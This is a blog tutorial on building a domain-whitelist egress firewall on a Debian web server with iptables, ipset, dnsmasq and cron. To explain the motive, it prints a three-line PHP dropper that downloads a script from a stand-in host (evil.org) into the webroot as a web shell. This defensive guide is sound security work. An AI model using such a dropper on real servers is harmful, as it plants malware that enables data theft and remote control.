Building a simple domain name based firewall for egress filtering on Linux with iptables and dnsmasq

Sebastian GellweilerTutorials

This blog post shows you how you can build a simple firewall on Linux system to only allow requests to a list of whitelisted domains using dnsmasq and iptables. Using the newer nftables that replaces iptables with the iptables compatibility layer (iptables-nft) will also work.

To follow this blog post you will need to have basic knowledge of networking and *NIX systems.

Background Story

Recently we had to secure a server that runs a WordPress based application that stores tons of sensitive data. As anybody working in IT security will tell you, WordPress is a nightmare when it comes to security. Luckily only a small part of the application needed to be exposed to the internet at all, so we could hide most of the application behind an authentication proxy with two factor authentication. However the application had to still process user input that was submitted over other channels (email, json import). So there were still avenues an exploit could reach our system without first going through the authentication proxy. Also of course exploits that target the authenticated client (XSS, CSRF) are still an issue.

So we asked ourself what else we cloud do to further mitigate the risk of an infection. One of the things we discussed was an egress filter that will only let requests pass through to a set of whitelisted domains.

Why do you want to do that?

The goal of most attacks on web applications is to execute code on the web server. In the context of PHP applications this usually means executing PHP code. There are thousands of bots out there that scan the web all day long for known vulnerabilities, exploit systems and install some sort of PHP malware on them. In the PHP world most of these scripts are referred to as web shells. They allow an attacker to steal data from your system, spread SPAM or participate in DDOS attacks. The thing is these scripts are often rather large, multiple kilobytes and larger. Most exploits on the web take place over url parameters, form submissions or file uploads. Besides for the last one they usually only allow very small payloads. This is especially true if you set a short URL limit. That’s why attackers will usually use an exploit to deploy a short virus dropper that downloads the actual malware from the internet. The code of a simple non obfuscated dropper could look like this:

<?php
$virus = file_get_contents('http://evil.org/virus.php');
file_put_contents('/var/www/html/virus.php', $virus);

This would try to download an evil PHP script from http://evil.org/virus.php and try to save that to the webroot. If the dropper succeeds the attacker could then access the remote shell at http://yourdomain.tld/virus.php.

Here is where output filtering in the firewall can help you. If the firewall blocks the connection to http://evil.org the dropper will fail and even though the attacker has successfully found an exploit in your web app there will be no damage. Of course, in many cases an attacker could still modify his attack so that it is feasible without downloading anything from the internet. But at this point most bots will probably fail and humans will decide that you are not worth the effort. Security is not absolute, despite what a lot of people in IT will tell you. There is no bike lock that can’t be easily defeated in a matter of minutes, but you still lock your bike, don’t you? And when the bike standing next to it is better and has a shittier lock a thief will probably take that bike before he/she takes yours. It is all about protecting your stuff to the level, that an attack is not economically sound.

An outbound filter can also help you in a few other scenarios. It can stop spammers from trying to connect to a SMTP server and it can stop exploits that trick PHP into opening an URL instead of a file or opening the wrong URL. And it can help to protect your private data from being sent to diagnostics websites or ad servers.

Think of an outbound filter as a tool of many to fight against attacks. It should however not be your only measurement and it will not save your ass in all situations.

Whitelisting ip addresses for outbound traffic with iptables & ipset

The Linux kernel has a build in firewall. We can configure it with the iptables command. Also the kernel allows us to maintain ip sets (lists of ip addresses and networks) to match against. We can configure the ip lists with the ipsets command. On Debian we can install both tools with:

# apt-get install iptables ipset

For this guide we will assume that the interface you want to monitor outgoing traffic on is called eth0. This should be the case on most servers but your interface may be called differently. You can check with ifconfig.

Warning: It is very important that you are careful with the commands listed below. If you do it wrong you can easily lock yourself out of your server by blocking ssh.

First lets make our life simple and disable IPv6 support on our server. Because we are lazy and we really don’t want to deal with IPv6 unless we have to  😉 On Debian we can do this with sysctl.

# echo 'net.ipv6.conf.all.disable_ipv6 = 1' > /etc/sysctl.d/70-disable-ipv6.conf 
# sysctl -p -f /etc/sysctl.d/70-disable-ipv6.con

Next let’s start the actual work by creating a new ip set called whitelist:

# ipset create whitelist hash:net

First we need to make sure that we only block outgoing traffic for newly created connections and not for connections that have been established from the outside like SSH:

# iptables -o eth0 -I OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

If your server gets configured via DHCP you will also want to allow all DHCP requests:

# iptables -o eth0 -I OUTPUT -p udp --dport 67:68 --sport 67:68 -j ACCEPT

Next lets start by allowing all trafic to private ip networks. You can off course decide for yourself if you want that. In our case we are on an AWS lightsail server and a lot of the servers we need to reach like the ntp time server are in the private ip range and we want to allow them by default. We only really care about blocking access to the internet:

# iptables -o eth0 -A OUTPUT -d 10.0.0.0/8 -j ACCEPT
# iptables -o eth0 -A OUTPUT -d 172.16.0.0/12 -j ACCEPT
# iptables -o eth0 -A OUTPUT -d 192.168.0.0/16 -j ACCEPT
# iptables -o eth0 -A OUTPUT -d 169.254.0.0/16 -j ACCEPT # link local

You may also want to allow traffic to the special broadcasting and multicasting ip addresses:

# iptables -o eth0 -A OUTPUT -d 255.255.255.255 -j ACCEPT
# iptables -o eth0 -A OUTPUT -d 224.0.0.22 -j ACCEPT

You should allow requests to your dns servers. For example to allow requests to the google nameservers (8.8.8.8, 8.8.8.4) add the following:

# iptables -o eth0 -A OUTPUT -d 8.8.8.8 -p udp --dport 53 -j ACCEPT
# iptables -o eth0 -A OUTPUT -d 8.8.8.4 -p udp --dport 53 -j ACCEPT

Now we want to allow all traffic to ip addresses that are on the whitelist that we have created above:

# iptables -o eth0 -A OUTPUT -m set --match-set whitelist dst -j ACCEPT

Now you can add all the ip addresses that you want to allow requests to. For example lets add the address 194.8.197.22 (mirror.netcologne.de) to the whitelist:

# ipset add whitelist 194.8.197.22

Finally lets block all outgoing traffic. Only execute this command if you are sure you have configured all the rules properly (you can check with iptables -L). If you did it wrong you may kill your ssh connection. The blocking rule needs to be the last rule in the list of rules:

# iptables -o eth0 -A OUTPUT -j DROP

There you go, lets hope you still got access to your server. If you don’t, a reboot should fix your issues. All the settings will get wiped out after a reboot. If you did everything correctly and you execute iptables -L -n to list all the rules, the OUTPUT chain should look something like this:

# iptables -L -n
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp spts:67:68 dpts:67:68
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     all  --  0.0.0.0/0            10.0.0.0/8
ACCEPT     all  --  0.0.0.0/0            172.16.0.0/12
ACCEPT     all  --  0.0.0.0/0            192.168.0.0/16
ACCEPT     all  --  0.0.0.0/0            169.254.0.0/16
ACCEPT     all  --  0.0.0.0/0            255.255.255.255
ACCEPT     all  --  0.0.0.0/0            224.0.0.22
ACCEPT     udp  --  0.0.0.0/0            8.8.8.8              udp dpt:53
ACCEPT     udp  --  0.0.0.0/0            8.8.8.4              udp dpt:53
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            match-set whitelist dst
DROP       all  --  0.0.0.0/0            0.0.0.0/0

Thats it now all outgoing traffic to ips that are not on the whitelist will get blocked by the firewall. All rules will however get reset after a reboot. To make the rules permanent you need to add the commands to a startup script or make the rules persistent using iptables-persistent (on newer systems netfilter-persistent) and ipset-persistent.

DNS Filtering

There is an issue however with our simple iptables filter. It can only work with ip addresses not domain names. In the WWW we seldom know the ip addresses of web services in advance. Instead, we connect to a domain name like example.org. The domain name gets resolved to an ip address by DNS and addresses may change over time. Even worse most services these days don’t even have fixed ip addresses. Therefore an ip address filter may not be a solution to your issue. Iptables and ipsets however cannot work with domain names. You can specify a domain name during rule creating but that will instantly get resolved to an ip address.

A simple alternative to an ip-based filter is DNS filtering. The idea being you simply block DNS requests for domains you don’t want to allow requests to.

We can configure a simple dns whitelist filter with dnsmasq. Dnsmasq is a software that can provide DNS and DHCP services to a local network. We will only use it as a dns server listening on 127.0.0.1 that forwards dns requests for whitelisted domains.

You can install dnsmasq on Debian with:

# apt-get install dnsmasq

After installing dnsamsq you will need to adjust the configuration file in /etc/dnsmasq.conf. For example to only allow traffic to mirror.netcologne.de and example.org the file could look like this:

no-resolv
server=/mirror.netcologne.de/8.8.8.8
server=/mirror.netcologne.de/8.8.8.4
server=/example.org/8.8.8.8
server=/example.org/8.8.8.4

Thsi will tell dnsmasq to not resolve dns queries in general (no-resolv) and to resolve the addressses mirror.netcologne.de and example.org using the dns servers 8.8.8.8 and 8.8.8.4 (google dns). After configuring you will need to restart dnsmasq:

# systemctl restart dnsmasq

You can test your dns server with the dig command:

$ dig A www.example.org @127.0.0.1
$ dig A google.com @127.0.0.1

If you have done everything correctly the first query for www.example.org should return an ip address but the second query for google.com should fail.

To make your system use dnsmasq as dns server you will need to add it to /etc/resolv.conf:

nameserver 127.0.0.1

If you use dhcp your /etc/resolv.conf will propably get overriden after a while or on restart. To prevent that you can configure dhcp to leave the /etc/resolv.conf file alone. On debian you can do this using the following commands:

# echo 'make_resolv_conf() { :; }' > /etc/dhcp/dhclient-enter-hooks.d/leave_my_resolv_conf_alone
# chmod 755 /etc/dhcp/dhclient-enter-hooks.d/leave_my_resolv_conf_alone

Thats it you should now have a working dns whitelist filter.

Combining dns filtering and ip filtering

There is an issue however with dns filtering, it’s easy to circumvent. All one has to do to bypass it is to specify the ip address directly. And lots of malware/attackers will do just that. This is why I wanted to combine both ideas. The idea being we will use dns filtering and add the ip addresses returned by our dns server to the whitelist ipset automatically. This way we can implement a simple domain name based egress filter that will block all other traffic.

Since my whitelist is realatively small (less than 100 entries) I decided to write a simple script that will just resolve all hosts in the whitelist, add the ips to the whitelist and write the ips to a host file that is read by dnsmasq. I then trigger this script by cron job on a short interval, so that the ip addresses in the host file are always relatively fresh. That way dnsmasq will always return an ip address that has been previously whitelisted. Since dns by design expects caching, cache times of a few minutes will not pose an issue.

Once a day at night another cronjob will scrub the ip whitelist from all entries, so that outdated ips that are no longer tied to the whitelisted dns names are removed from the ip whitelist.

I’ve put my code into an easy to use shell script. It includes all the code that you will need to configure iptables, dnsmasq and the cron jobs. You can find it here: https://gist.github.com/gellweiler/af81579fc121182dd157534359790d51.

To install it download it to /usr/local/sbin/configure-firewall.sh and make it executable:

# wget -O /usr/local/sbin/configure-firewall.sh "https://gist.githubusercontent.com/gellweiler/af81579fc121182dd157534359790d51/raw/d1906381462a81cea19c7f15a9d44843ff1ba27c/configure-firewall.sh"
# chmod 700 /usr/local/sbin/configure-firewall.sh

After installing the script you can modify the variables in the top  section of the script with your favorite editor to set the domain names that you want to allow and to configure your dns servers. By default the aws debian repos and the wordpress apis are allowed.

To install all necessary packages (iptables, dnsmasq, dig) on debian you can run:

# /usr/local/sbin/configure-firewall.sh install

To disable ipv6 support on your system you can run:

# /usr/local/sbin/configure-firewall.sh disable_ipv6

To start the firewall you can execute the following command:

# /usr/local/sbin/configure-firewall.sh startup

This will configure iptables and dnsmasq. After that you can test the firewall.

To refresh the ip addresses after you made changes to the list of dns names in the top of the script or to update outdated dns results you can run:

# /usr/local/sbin/configure-firewall.sh refresh_ips

If you are happy with the result you can make the changes permanent with:

# /usr/local/sbin/configure-firewall.sh configure_cronjob

This will create 3 cronjobs: one that will run on startup, one that will refresh the ips every 10 minutes and one that will flush the ip whitelist at 4 o’clock in the morning.

Since I’m using the script on an AWS lightsail server that has no recovery console I’ve added a delay of 90 seconds to the startup cron job. That means the firewall will only get activated 90 seconds past boot. That way if I ever mess up the firewall and lock myself out of SSH I can reboot the server using the web console and I have enough time to ssh into it and kill the script. It of course also means that the firewall will not run for a short time after booting. An acceptable risk for me since I will only restart the server in very rare instances.

Conclusion

Using iptables and dnsmasq we can hack together a simple dns based whitelist-based firewall for outgoing traffic. In this basic form only the A record is queried. The A record is used for most web services. If you rely on other records (for example the MX record for mail servers) you will have to adjust the script. Adding an egress filter can add some extra security to a web server. It is however not a silver bullet that will magically protect you against all exploits. Also if you run the firewall on the web server and an attacker gains root access to your machine he/she can simply disable the firewall.